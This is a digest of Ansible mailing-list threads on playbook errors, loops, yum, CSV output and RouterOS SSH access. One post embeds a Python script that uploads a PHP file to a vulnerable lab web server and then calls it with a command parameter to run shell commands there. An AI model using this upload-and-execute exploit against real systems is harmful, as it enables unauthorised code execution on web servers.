[ansible-project] Re: Failed to resolve remote temporary directory from ansible-tmp...

2019-05-29 Thread Adam Shand
Never mind, just got it to work.

I haven't figured out why, but deleting my home directory and recreating it 
empty solved the problem.

It wasn't a permissions problem, permissions are identical.  My best guess 
is maybe something in my .bash* files which it didn't like.

On Thursday, May 30, 2019 at 2:48:58 PM UTC+12, Adam Shand wrote:
>
> Bump, I could really use some assistance here.  
>
> Can anyone help out?
>
> Thanks,
> Adam.
>
> On Friday, May 24, 2019 at 4:49:24 PM UTC+12, Adam Shand wrote:
>>
>> Enter code here...
>>
>> Hey,
>>
>> I submitted a bug but got told "it wasn't a bug" and to ask here.  So I'm 
>> asking here. :-)
>>
>> I'm an Ansible newbie, I've just setup some playbooks to manage about a 
>> dozen Linux servers.  All going fine except that Ansible will not connect 
>> to two of my servers.  No matter what I try it gives this error every 
>> single time I try and connect.
>>
>> fatal: [docker.xxx.nz]: FAILED! => {"msg": "failed to resolve remote 
>> temporary directory from ansible-tmp-1558058780.1613991-43401714620441: `( 
>> umask 77 && mkdir -p \"` echo 
>> ~/.ansible/tmp/ansible-tmp-1558058780.1613991-43401714620441 `\" && echo 
>> ansible-tmp-1558058780.1613991-43401714620441=\"` echo 
>> ~/.ansible/tmp/ansible-tmp-1558058780.1613991-43401714620441 `\" )` 
>> returned empty string"}
>>
>>
>> I'm running from my Mac with the latest version of Ansible available from 
>> Homebrew.  If you want additional details they are here on the ticket I 
>> created:
>>
>> https://github.com/ansible/ansible/issues/56555
>>
>> I get this error with with a very basic playbook which is only doing a 
>> ping.
>>
>> On the ticket they suggested that it might be $HOME (it's the same on 
>> working and non-working hosts) or it might be a weird shell (it's bash on 
>> all the hosts).
>>
>> If anyone has any other suggestions I'd would greatly appreciate it.
>>
>> Cheers,
>> Adam.
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to ansible-project+unsubscr...@googlegroups.com.
To post to this group, send email to ansible-project@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/ansible-project/d273c449-27af-4f8c-9e01-41fab0356bbb%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


[ansible-project] Re: Failed to resolve remote temporary directory from ansible-tmp...

2019-05-29 Thread Adam Shand
Bump, I could really use some assistance here.  

Can anyone help out?

Thanks,
Adam.

On Friday, May 24, 2019 at 4:49:24 PM UTC+12, Adam Shand wrote:
>
> Enter code here...
>
> Hey,
>
> I submitted a bug but got told "it wasn't a bug" and to ask here.  So I'm 
> asking here. :-)
>
> I'm an Ansible newbie, I've just setup some playbooks to manage about a 
> dozen Linux servers.  All going fine except that Ansible will not connect 
> to two of my servers.  No matter what I try it gives this error every 
> single time I try and connect.
>
> fatal: [docker.xxx.nz]: FAILED! => {"msg": "failed to resolve remote 
> temporary directory from ansible-tmp-1558058780.1613991-43401714620441: `( 
> umask 77 && mkdir -p \"` echo 
> ~/.ansible/tmp/ansible-tmp-1558058780.1613991-43401714620441 `\" && echo 
> ansible-tmp-1558058780.1613991-43401714620441=\"` echo 
> ~/.ansible/tmp/ansible-tmp-1558058780.1613991-43401714620441 `\" )` 
> returned empty string"}
>
>
> I'm running from my Mac with the latest version of Ansible available from 
> Homebrew.  If you want additional details they are here on the ticket I 
> created:
>
> https://github.com/ansible/ansible/issues/56555
>
> I get this error with with a very basic playbook which is only doing a 
> ping.
>
> On the ticket they suggested that it might be $HOME (it's the same on 
> working and non-working hosts) or it might be a weird shell (it's bash on 
> all the hosts).
>
> If anyone has any other suggestions I'd would greatly appreciate it.
>
> Cheers,
> Adam.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to ansible-project+unsubscr...@googlegroups.com.
To post to this group, send email to ansible-project@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/ansible-project/70ce2b0a-2f9d-4eb1-9380-3d3c4f184d6d%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


Re: [ansible-project] Re: using register stdout_lines in with_items loop

2019-05-29 Thread Adam
I was over zealous & too hopeful.. this doesn't actually work for me.  It 
looks like it treats the whole list of directories as one big directory. 
 I'm not entirely sure why yet. 

On Wednesday, May 29, 2019 at 9:12:22 PM UTC-4, Adam wrote:
>
> Matt - 
>
> I don't know how you figured out how to do this (I would love to know), 
> but it should DEFINITELY be in the documentation.  It's not pretty, but it 
> works and it solved my issue.  It's definitely easier than breaking it 
> into multiple tasks or having to populate a list manually.
>
> - name: get list of directories
>   shell: "egrep '^archive.directory|^outgoing.directory|^incoming.directory' 
> {{conf_dir}}/{{item.1.config}}|cut -d '=' -f2|sort|uniq"
>   with_subelements:
> - "{{loggers}}"
> - configs
>   register: directoriesToBuild
>
> - name: debug directory output
>   debug:
> msg: "{{directoriesToBuild.results|map(attribute='stdout_lines')|list}}"
>
> - name: build found directories
>   file:
> state: directory
> path: "{{item}}"
>   with_items:
> - "{{directoriesToBuild.results|map(attribute='stdout_lines')|list}}"
>
>
> -Adam
>
> On Tuesday, February 23, 2016 at 2:04:59 PM UTC-5, Matt Martz wrote:
>>
>> The "problem" is in how ansible registers results when using with_items.  
>> It nests all of the results inside of a `results` key
>>
>> Your second task could have been written to use:
>>
>> - name: use shell to print list of file paths
>>   shell: "echo {{ item }}"
>>   with_items: "{{ files.results|map(attribute='stdout_lines')|list }}"
>>
>> That would do it for you.  That pulls the `stdout_lines` attribute out 
>> into a list of `stdout_lines`, then with_items natively handles the 
>> flattening, allowing you to loop over each individual item in the `ls` 
>> output.
>>
>> There is some documentation about using register with a loop, which you 
>> can find at 
>> http://docs.ansible.com/ansible/playbooks_loops.html#using-register-with-a-loop
>>
>> On Tue, Feb 23, 2016 at 12:51 PM, Jason Gilfoil  
>> wrote:
>>
>>> So after some testing and reading i'm gonna attempt to answer my own 
>>> question, and pose another one.
>>>
>>> The documentation I cited for iterating the results of a program 
>>> execution didn't involve the use of with_items in the original program 
>>> execution. Having multiple results in a register variable doesn't seem to 
>>> play nice with 'with_items'. 
>>>
>>> I decided to work around the issue by having multiple tasks to gather 
>>> the file names and iterate over each result in the replace module.
>>>
>>> As a corollary to that, when using with_items and setting a failed_when 
>>> condition, you can't seem to use the 'rc' property of the register variable 
>>> in a task because the rc code only exists if the task fails. I'm thinking 
>>> there must be a way to say fail_when: the register.rc exists, but haven't 
>>> figured that part out yet.
>>>
>>>
>>> On Monday, February 22, 2016 at 10:19:47 AM UTC-5, Jason Gilfoil wrote:

 Hello All,

 I'm ultimately attempting to pull a list of files with wildcarded paths 
 and pass the results into the replace module so it can cycle through them 
 all. However, starting with a more simple example, i'm having issues 
 getting the list of files to print properly in even a simple test case.


 Pastebin code:
 http://pastebin.com/zFRzucat

 I'm looking for this:

 test.yml playbook
  
 - hosts: all
   tasks:
 - name: gather list of files
   shell: ls {{ item }}
   register: files
   with_items:
 - /app/psoft/test/*/list.txt
 - /app/psoft/test/*/context.xml
  
 - name: use shell to print list of file paths
   shell: "echo {{ item }}"
   with_items: "{{files.stdout_lines}}"


 to print

 /app/psoft/test/12.1.2.00/list.txt
 /app/psoft/test/12.1.3.00/context.xml

 However currently the result is:

 TASK [gather list of files] 
 
 changed: [net12204] => (item=/app/psoft/test/*/list.txt)
 changed: [net12204] => (item=/app/psoft/test/*/context.xml)

 TASK [use shell to print list of file paths] 
 ***
 [DEPRECATION WARNING]: Skipping task due to undefined attribute, in the 
 future this will be a fatal error.. This feature will
 be removed in a future release. Deprecation warnings can be disabled by 
 setting deprecation_warnings=False in ansible.cfg.


 Am I misusing or not understanding 
 http://docs.ansible.com/ansible/playbooks_loops.html#iterating-over-the-results-of-a-program-execution
  
 properly?


 Thanks!
 Jason

 -- 
>>> You received this message because you are subscribed to the Google 
>>> Groups "Ansible Project" group.
>>> To unsubscribe from this group and stop receiv

Re: [ansible-project] Re: using register stdout_lines in with_items loop

2019-05-29 Thread Adam
Matt - 

I don't know how you figured out how to do this (I would love to know), but 
it should DEFINITELY be in the documentation.  It's not pretty, but it 
works and it solved my issue.  It's definitely easier than breaking it 
into multiple tasks or having to populate a list manually.

- name: get list of directories
  shell: "egrep '^archive.directory|^outgoing.directory|^incoming.directory' 
{{conf_dir}}/{{item.1.config}}|cut -d '=' -f2|sort|uniq"
  with_subelements:
- "{{loggers}}"
- configs
  register: directoriesToBuild

- name: debug directory output
  debug:
msg: "{{directoriesToBuild.results|map(attribute='stdout_lines')|list}}"

- name: build found directories
  file:
state: directory
path: "{{item}}"
  with_items:
- "{{directoriesToBuild.results|map(attribute='stdout_lines')|list}}"


-Adam

On Tuesday, February 23, 2016 at 2:04:59 PM UTC-5, Matt Martz wrote:
>
> The "problem" is in how ansible registers results when using with_items.  
> It nests all of the results inside of a `results` key
>
> Your second task could have been written to use:
>
> - name: use shell to print list of file paths
>   shell: "echo {{ item }}"
>   with_items: "{{ files.results|map(attribute='stdout_lines')|list }}"
>
> That would do it for you.  That pulls the `stdout_lines` attribute out 
> into a list of `stdout_lines`, then with_items natively handles the 
> flattening, allowing you to loop over each individual item in the `ls` 
> output.
>
> There is some documentation about using register with a loop, which you 
> can find at 
> http://docs.ansible.com/ansible/playbooks_loops.html#using-register-with-a-loop
>
> On Tue, Feb 23, 2016 at 12:51 PM, Jason Gilfoil  > wrote:
>
>> So after some testing and reading i'm gonna attempt to answer my own 
>> question, and pose another one.
>>
>> The documentation I cited for iterating the results of a program 
>> execution didn't involve the use of with_items in the original program 
>> execution. Having multiple results in a register variable doesn't seem to 
>> play nice with 'with_items'. 
>>
>> I decided to work around the issue by having multiple tasks to gather the 
>> file names and iterate over each result in the replace module.
>>
>> As a corollary to that, when using with_items and setting a failed_when 
>> condition, you can't seem to use the 'rc' property of the register variable 
>> in a task because the rc code only exists if the task fails. I'm thinking 
>> there must be a way to say fail_when: the register.rc exists, but haven't 
>> figured that part out yet.
>>
>>
>> On Monday, February 22, 2016 at 10:19:47 AM UTC-5, Jason Gilfoil wrote:
>>>
>>> Hello All,
>>>
>>> I'm ultimately attempting to pull a list of files with wildcarded paths 
>>> and pass the results into the replace module so it can cycle through them 
>>> all. However, starting with a more simple example, i'm having issues 
>>> getting the list of files to print properly in even a simple test case.
>>>
>>>
>>> Pastebin code:
>>> http://pastebin.com/zFRzucat
>>>
>>> I'm looking for this:
>>>
>>> test.yml playbook
>>>  
>>> - hosts: all
>>>   tasks:
>>> - name: gather list of files
>>>   shell: ls {{ item }}
>>>   register: files
>>>   with_items:
>>> - /app/psoft/test/*/list.txt
>>> - /app/psoft/test/*/context.xml
>>>  
>>> - name: use shell to print list of file paths
>>>   shell: "echo {{ item }}"
>>>   with_items: "{{files.stdout_lines}}"
>>>
>>>
>>> to print
>>>
>>> /app/psoft/test/12.1.2.00/list.txt
>>> /app/psoft/test/12.1.3.00/context.xml
>>>
>>> However currently the result is:
>>>
>>> TASK [gather list of files] 
>>> 
>>> changed: [net12204] => (item=/app/psoft/test/*/list.txt)
>>> changed: [net12204] => (item=/app/psoft/test/*/context.xml)
>>>
>>> TASK [use shell to print list of file paths] 
>>> ***
>>> [DEPRECATION WARNING]: Skipping task due to undefined attribute, in the 
>>> future this will be a fatal error.. This feature will
>>> be removed in a future release. Deprecation warnings can be disabled by 
>>> setting deprecation_warnings=False in ansible.cfg.
>>>
>>>
>>> Am I misusing or not understanding 
>>> http://docs.ansible.com/ansible/playbooks_loops.html#iterating-over-the-results-of-a-program-execution
>>>  
>>> properly?
>>>
>>>
>>> Thanks!
>>> Jason
>>>
>>> -- 
>> You received this message because you are subscribed to the Google Groups 
>> "Ansible Project" group.
>> To unsubscribe from this group and stop receiving emails from it, send an 
>> email to ansible...@googlegroups.com .
>> To post to this group, send email to ansible...@googlegroups.com 
>> .
>> To view this discussion on the web visit 
>> https://groups.google.com/d/msgid/ansible-project/82ae7301-06d6-42e9-a4f3-cf017f09ed22%40googlegroups.com
>>  
>> 

[ansible-project] Galaxy 3.2 release scheduled for Monday, 3 June

2019-05-29 Thread Chris Houseknecht
The Galaxy team will be deploying version 3.2 this coming Monday, 3 June 
2019. The release process will begin at 4 AM Eastern on Monday and complete 
no later than 6 AM. We don't anticipate any significant downtime, but 
should problems arise, watch for updates on the Ansible mailing lists.

To see what's new, try it out live on our QA site at 
https://galaxy-qa.ansible.com, and view our changelog 
 for all the 
details.

Please feel free to share your feedback by opening an issue 
 at the Galaxy project 
.


Thanks!

Chris Houseknecht
Galaxy Team Manager
chousekn -at- redhat.com

-- 
You received this message because you are subscribed to the Google Groups 
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to ansible-project+unsubscr...@googlegroups.com.
To post to this group, send email to ansible-project@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/ansible-project/494824e6-4a28-4cf5-a0eb-dc0cea8ee81c%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


Re: [ansible-project] Ansible yum module arguement equivalent for repolist.

2019-05-29 Thread Kunalsing Thakur
Check this out.
https://github.com/Tomorrow9/ansible/commit/423d6391a5cba4b188719de7c65e7c550326d82c


On Wed, 29 May 2019, 21:01 Veera,  wrote:

> Hi,
>
> I am using the following snippet  as part of a play.
> I have to refresh the  yum repository list as I will replace the
> repository file every time I run the playbook .
> So , After  having  a successful  play  to copy my test.repo file to
> /etc/yum.repos.d/test.repo  . I am able to  successfully run the  "yum
> repolist"  with command module.
>
>  - name: Refresh the yum repository  cache
>>   #yum:
>>   #  update_cache: yes
>>   command: "yum repolist"
>>   register: repo_list
>
>
>
> But ansible suggest to use yum module  , but the doc have no equivalent
> for the  "repolist" of yum .
> Is "update_cache"  do the same fuction like "yum repolist"?
>
> --
> You received this message because you are subscribed to the Google Groups
> "Ansible Project" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to ansible-project+unsubscr...@googlegroups.com.
> To post to this group, send email to ansible-project@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/ansible-project/01be47bc-81eb-46c3-bbfd-cd7563a0c19d%40googlegroups.com
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to ansible-project+unsubscr...@googlegroups.com.
To post to this group, send email to ansible-project@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/ansible-project/CANErU6kyas770bR793nKBcAyh_Py9ysWEKLD1Y%2BRJbYVPmEhqQ%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


[ansible-project] Unable to run Python script with Script module

2019-05-29 Thread Andrea Magnani
Hi, 
I want to run a python script on remote, so I tried to use script, but when 
I launched playbook, it stucks in that tasks.
I test python script by coping it on remote and it works fine.
(yes, obviously I waited more than 5 seconds)
Am I missing something?


*HERE THE PLAYBOOK*
---
  - name: Esecuzione di "FileUpload-example1
hosts: vm_client
vars:
#--- Cloudify
an_user: ansible
an_prj_folder: ~/DebianVulnerable
an_target_ip: 192.168.50.153
#--- Ansible
init_file: "{{ an_prj_folder }}/init.pwd"
command: echo YOU_HAVE_BEEN_PWNED >> /tmp/H4CK3R.PWN

tasks:
  - name: Controllo dei requisiti...
stat:
path: "{{ init_file }}"
register: init_done

  - name: Chiusura se non sono soddisfatti...
meta: end_play
when: init_done.stat.exists == False

  - name: Lancio script Python..
script: "Resource/fileUpload1.py {{ an_target_ip }} '{{ command }}'"


*HERE THE SCRIPT*
it just send a HTTP request to another remote pc
#!/bin/python2

from pwn import *
import time

def main():
remote_ip = sys.argv[1]
c=remote(remote_ip, 80)
iniziezione(c, remote_ip)
c.close()

time.sleep(5)

c=remote(remote_ip, 80)
esecuzione(c, remote_ip)
c.close()

def iniziezione(c, remote_ip):
req= ('POST /upload/example1.php HTTP/1.1\r\n'
'Host'+ remote_ip +'\r\n'
'User-Agent: curl/7.64.1\r\n'
'Accept: */*\r\n'
'Content-Length: 231\r\n'
'Content-Type: multipart/form-data; 
boundary=cd3d38395f9f1df4\r\n'
'\r\n'
'--cd3d38395f9f1df4\r\n'
'Content-Disposition: form-data; name="image"; filename="image.php"\r\n'
'Content-Type: application/octet-stream\r\n'
'\r\n'
'.\r\n'
'--cd3d38395f9f1df4--\r\n')

#print(req)
c.send(req)

def esecuzione(c, remote_ip):
#crezione del comando
comando=sys.argv[2]
comando=comando.replace(' ', '%20')
comando=comando.replace('/', '%2F')
print(comando)
#creazione della richiesta HTTP
req=('GET /upload/images/image.php?c='+comando+' HTTP/1.1\r\n'
'Host:'+ remote_ip +'\r\n'
'User-Agent: curl/7.64.1\r\n''+ remote_ip '+
'Accept: */*\r\n\r\n')

#print(req)
c.send(req)


if __name__ == '__main__':
main()



*HERE the - log when executing the task:*
<192.168.50.103> ESTABLISH SSH CONNECTION FOR USER: ansible
<192.168.50.103> SSH: EXEC sshpass -d9 ssh -vvv -C -o ControlMaster=auto -o 
ControlPersist=60s -o 'User="ansible"' -o ConnectTimeout=10 -o 
ControlPath=/home/andrea/.ansible/cp/b24e0c6aca 192.168.50.103 '/bin/sh -c 
'"'"'echo ~ansible && sleep 0'"'"''
<192.168.50.103> (0, b'/home/ansible\n', b'OpenSSH_8.0p1, OpenSSL 1.1.1b  
26 Feb 2019\r\ndebug1: Reading configuration data 
/etc/ssh/ssh_config\r\ndebug2: resolve_canonicalize: hostname 
192.168.50.103 is address\r\ndebug1: auto-mux: Trying existing 
master\r\ndebug2: fd 3 setting O_NONBLOCK\r\ndebug2: 
mux_client_hello_exchange: master version 4\r\ndebug3: mux_client_forwards: 
request forwardings: 0 local, 0 remote\r\ndebug3: 
mux_client_request_session: entering\r\ndebug3: mux_client_request_alive: 
entering\r\ndebug3: mux_client_request_alive: done pid = 18448\r\ndebug3: 
mux_client_request_session: session request sent\r\ndebug3: 
mux_client_read_packet: read header failed: Broken pipe\r\ndebug2: Received 
exit status from master 0\r\n')
<192.168.50.103> ESTABLISH SSH CONNECTION FOR USER: ansible
<192.168.50.103> SSH: EXEC sshpass -d9 ssh -vvv -C -o ControlMaster=auto -o 
ControlPersist=60s -o 'User="ansible"' -o ConnectTimeout=10 -o 
ControlPath=/home/andrea/.ansible/cp/b24e0c6aca 192.168.50.103 '/bin/sh -c 
'"'"'( umask 77 && mkdir -p "` echo 
/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984 
`" && echo ansible-tmp-1559145348.5083632-266839971706984="` echo 
/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984 
`" ) && sleep 0'"'"''
<192.168.50.103> (0, 
b'ansible-tmp-1559145348.5083632-266839971706984=/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984\n',
 
b'OpenSSH_8.0p1, OpenSSL 1.1.1b  26 Feb 2019\r\ndebug1: Reading 
configuration data /etc/ssh/ssh_config\r\ndebug2: resolve_canonicalize: 
hostname 192.168.50.103 is address\r\ndebug1: auto-mux: Trying existing 
master\r\ndebug2: fd 3 setting O_NONBLOCK\r\ndebug2: 
mux_client_hello_exchange: master version 4\r\ndebug3: mux_client_forwards: 
request forwardings: 0 local, 0 remote\r\ndebug3: 
mux_client_request_session: entering\r\ndebug3: mux_client_request_alive: 
entering\r\ndebug3: mux_client_request_alive: done pid = 18448\r\ndebug3: 
mux_client_request_session: session request sent\r\ndebug3: 
mux_client_read_packet: read header failed: Broken pipe\r\ndebug2: Received 
exit status from master 0\r\n')
<192.168.50.103> PUT 
/home/andrea/Documenti/Tirocinio/Cloudify/BluePrint/DebianVulnerableV7/Resource/fileUpload1.py
 
TO 
/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/fileUpload1.py
<192.168.50.103> SSH: EXEC sshpa

[ansible-project] Ansible yum module arguement equivalent for repolist.

2019-05-29 Thread Veera
Hi,

I am using the following snippet  as part of a play. 
I have to refresh the  yum repository list as I will replace the repository 
file every time I run the playbook . 
So , After  having  a successful  play  to copy my test.repo file to 
/etc/yum.repos.d/test.repo  . I am able to  successfully run the  "yum 
repolist"  with command module.

 - name: Refresh the yum repository  cache
>   #yum:
>   #  update_cache: yes
>   command: "yum repolist"
>   register: repo_list



But ansible suggest to use yum module  , but the doc have no equivalent for 
the  "repolist" of yum .
Is "update_cache"  do the same fuction like "yum repolist"?

-- 
You received this message because you are subscribed to the Google Groups 
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to ansible-project+unsubscr...@googlegroups.com.
To post to this group, send email to ansible-project@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/ansible-project/01be47bc-81eb-46c3-bbfd-cd7563a0c19d%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


Re: [ansible-project] Writing to csv file

2019-05-29 Thread Kai Stian Olstad
On 29.05.2019 16:45, Asha Omanakuttan wrote:
> I need some contents to be written in csv format to a file.
> 
> shell: ps -ef | grep java | awk '{print $1}'
> register: username
> 
> shell: ps -ef | grep java | awk '{print $2}'
> register: id
> 
> The output for username will be similar to :
> root
> admin
> test_admin
> 
> The output for id will be similar to:
> 1232
> 4343
> 2233
> 
> so I want this to be written to a csv file as
> 
> root,1232
> admin,4343
> test_admin,2233

Since you already using shell, do everything in one task

- shell: ps -ef | awk '/java/ { print $1","$2 }' > /path/my.csv


-- 
Kai Stian Olstad

-- 
You received this message because you are subscribed to the Google Groups 
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to ansible-project+unsubscr...@googlegroups.com.
To post to this group, send email to ansible-project@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/ansible-project/5a883184-8366-d9d4-7572-5046797aa781%40olstad.com.
For more options, visit https://groups.google.com/d/optout.


Re: [ansible-project] Writing to csv file

2019-05-29 Thread Stefan Hornburg (Racke)
On 5/29/19 4:45 PM, Asha Omanakuttan wrote:
> I need some contents to be written in csv format to a file.
> 
> shell: ps -ef | grep java | awk '{print $1}'
> register: username
> 
> shell: ps -ef | grep java | awk '{print $2}'
> register: id
> 
> The output for username will be similar to :
> root
> admin
> test_admin
> 
> The output for id will be similar to:
> 1232
> 4343
> 2233
> 
> so I want this to be written to a csv file as 
> 
> root,1232
> admin,4343
> test_admin,2233
> 
> Please suggest.
> 

Hello Asha,

why not one task which already gives you the desired output:

ps -ef | grep java | awk '{print $1","$2}'

Regards
Racke

-- 
Ecommerce and Linux consulting + Perl and web application programming.
Debian and Sympa administration. Provisioning with Ansible.

-- 
You received this message because you are subscribed to the Google Groups 
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to ansible-project+unsubscr...@googlegroups.com.
To post to this group, send email to ansible-project@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/ansible-project/f79dded4-69e0-e61f-44f0-3e958d3d5ea8%40linuxia.de.
For more options, visit https://groups.google.com/d/optout.


signature.asc
Description: OpenPGP digital signature


[ansible-project] Writing to csv file

2019-05-29 Thread Asha Omanakuttan
I need some contents to be written in csv format to a file.

shell: ps -ef | grep java | awk '{print $1}'
register: username

shell: ps -ef | grep java | awk '{print $2}'
register: id

The output for username will be similar to :
root
admin
test_admin

The output for id will be similar to:
1232
4343
2233

so I want this to be written to a csv file as 

root,1232
admin,4343
test_admin,2233

Please suggest.

-- 
You received this message because you are subscribed to the Google Groups 
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to ansible-project+unsubscr...@googlegroups.com.
To post to this group, send email to ansible-project@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/ansible-project/90a8376f-1d5b-4758-aa00-60b004eae1f2%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


RE: [ansible-project] SSH private key invalid ? Ansible Mikrotik RouterOS configuration

2019-05-29 Thread samudra.haque
Interesting suggestion and I will attempt to revert back to a stable release as 
suggested.

 

In the meantime,  I can confirm the 2.9.0dev0 framework acts differently with 
routeros ssh connections (the key is invalid always), yet that same key (last 
night I changed from DSA to RSA) works fine with scripted SSH (example below). 
I am not strictly a developer type, so I can be happy with  a stable version. 
Let the buyers beware. Is this is a bug worth reporting? 

 

dev1@s5:~$ !1816

ssh -i /home/dev1/.ssh/3101_id_rsa  -p 2 -t ttadmins@10.0.0.99 
  << "ENDSSH"

> /system resource pr

> /ip route pr

> /interface bridge pr

> ENDSSH

Pseudo-terminal will not be allocated because stdin is not a terminal.

X11 forwarding request failed on channel 0

   uptime: 1d9h39m10s

  version: 6.43.2 (stable)

   build-time: Sep/18/2018 12:12:48

 factory-software: 6.41.3

  free-memory: 469.6MiB

 total-memory: 512.0MiB

  cpu: ARMv7

cpu-count: 1

cpu-frequency: 800MHz

 cpu-load: 17%

   free-hdd-space: 3700.0KiB

  total-hdd-space: 16.0MiB

  write-sect-since-reboot: 1302

 write-sect-total: 3568

   bad-blocks: 0%

architecture-name: arm

   board-name: CRS328-24P-4S+

 platform: MikroTik

 

Flags: X - disabled, A - active, D - dynamic,

C - connect, S - static, r - rip, b - bgp, o - ospf, m - mme,

B - blackhole, U - unreachable, P - prohibit

#  DST-ADDRESSPREF-SRCGATEWAYDISTANCE

0 A S  ;;; 3101 default gw to Verizon Fios ONT

0.0.0.0/0  10.0.0.1  1

1 ADC  10.0.0.0/2410.0.0.99   ether24   0

2 ADC  10.0.1.0/2410.0.1.13101-bridge   0

 

Flags: X - disabled, R - running

0 R ;;; 26may19/SH/LAN for 3101

 name="3101-bridge" mtu=auto actual-mtu=1500 l2mtu=1592 arp=enabled

 arp-timeout=auto mac-address=B8:69:F4:AC:F5:4D protocol-mode=rstp

 fast-forward=no igmp-snooping=no auto-mac=yes ageing-time=5m

 priority=0x8000 max-message-age=20s forward-delay=15s

 transmit-hold-count=6 vlan-filtering=no dhcp-snooping=no

 

 

 

From: ansible-project@googlegroups.com  On 
Behalf Of Dick Visser
Sent: Wednesday, May 29, 2019 12:03 AM
To: ansible-project@googlegroups.com
Subject: Re: [ansible-project] SSH private key invalid ? Ansible Mikrotik 
RouterOS configuration

 

You’re using ansible from source. 

Could you try again using a released stable version that has been out for some 
time?

For instance 2.7.10. 

 

Dick

 

 

 

On Tue, 28 May 2019 at 20:06, Samudra Haque mailto:samudra.ha...@gmail.com> > wrote:

Hello Ansible gurus, I am new to Ansible and have installed from Git source 
branch. I am not changing anything at this time. I am investigating ways to use 
Ansible with Mikrotik RouterOS (www.mt.lv   or 
www.mikrotik.com  ). My test environment is a Ubuntu 
18.xx linux box on a local area network. The two devices are on the same 
ethernet switch.

 

dev1@s5:~/TTLLC_ansible$ uname -a

Linux s5 5.0.0-15-generic #16-Ubuntu SMP Mon May 6 17:41:33 UTC 2019 x86_64 
x86_64 x86_64 GNU/Linux

dev1@s5:~/TTLLC_ansible$ ansible --version

 22073 1559065845.13968: starting run

ansible 2.9.0.dev0

  config file = /etc/ansible/ansible.cfg

  configured module search path = [u'/home/dev1/.ansible/plugins/modules', 
u'/usr/share/ansible/plugins/modules']

  ansible python module location = /home/dev1/src/ansible/lib/ansible

  executable location = /home/dev1/src/ansible/bin/ansible

  python version = 2.7.16 (default, Apr  6 2019, 01:42:57) [GCC 8.3.0]

dev1@s5:~/TTLLC_ansible$

 

 

 

I have SSH private-key and public-key setup to allow me to access the Mikrotik 
RouterOS session without an interactive password from the Ubuntu box. For now, 
I am testing DSA file private key/public key

 

dev1@s5:~/.ssh$   ls -l

total 16

-rw--- 1 dev1 dev1 1373 May 26 23:10 3101_dsa

-rw-r--r-- 1 dev1 dev1  597 May 26 23:10 3101_dsa.pub

 

dev1@s5:~/.ssh$   file *

3101_dsa: OpenSSH private key

3101_dsa.pub: OpenSSH DSA public key

 

Here is the proof that SSH works from the command line. 

 

dev1@s5:~/TTLLC_ansible$ ssh -i ~/.ssh/3101_dsa  ttadmins@10.0.0.99 
  -p 2

 

  MMM  MMM   KKK  TTT  KKK

     KKK  TTT  KKK

  MMM  MMM  III  KKK  KKK  RR OO  TTT III  KKK  KKK

  MMM  MM  MMM  III  K RRR  RRR  OOO  OOO TTT III  K

  MMM  MMM  III  KKK KKK   RROOO  OOO TTT III  KKK KKK

  MMM  MMM  III  KKK  KKK  RRR  RRR   OO  TTT III  KKK  

Re: [ansible-project] Parallelization for with_ loops

2019-05-29 Thread Brian Coca
no, loops are serialized


-- 
--
Brian Coca

-- 
You received this message because you are subscribed to the Google Groups 
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to ansible-project+unsubscr...@googlegroups.com.
To post to this group, send email to ansible-project@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/ansible-project/CACVha7end4UiLDnmmyb0FKYspj2L_uHQuDbqVL%3D4p%2B0ddox9ew%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: [ansible-project] Ansible parallel task execution failing(async)

2019-05-29 Thread Brian Coca
async does not affect imports nor includes, in 2.8 you will get an
error on include since it does not apply to it, for imports it is
inherited by all imported tasks, but the imports themselves will NOT
be async.

--
Brian Coca

-- 
You received this message because you are subscribed to the Google Groups 
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to ansible-project+unsubscr...@googlegroups.com.
To post to this group, send email to ansible-project@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/ansible-project/CACVha7dpN0s8-WpdB_7s16P-gn58HauGcRLf8UfACtO3sw2UGA%40mail.gmail.com.
For more options, visit https://groups.google.com/d/optout.


Re: [ansible-project] What is the major difference between Redhat ansible network automation and redhat ansible automation?

2019-05-29 Thread Jonathan Lozada De La Matta
https://www.ansible.com/integrations/networks

Basically ansible network automation is support for network modules listed
in the link. Red Hat ansible automation is just ansible without networking
module support.

On Wed, May 29, 2019 at 8:45 AM rajthecomputerguy <
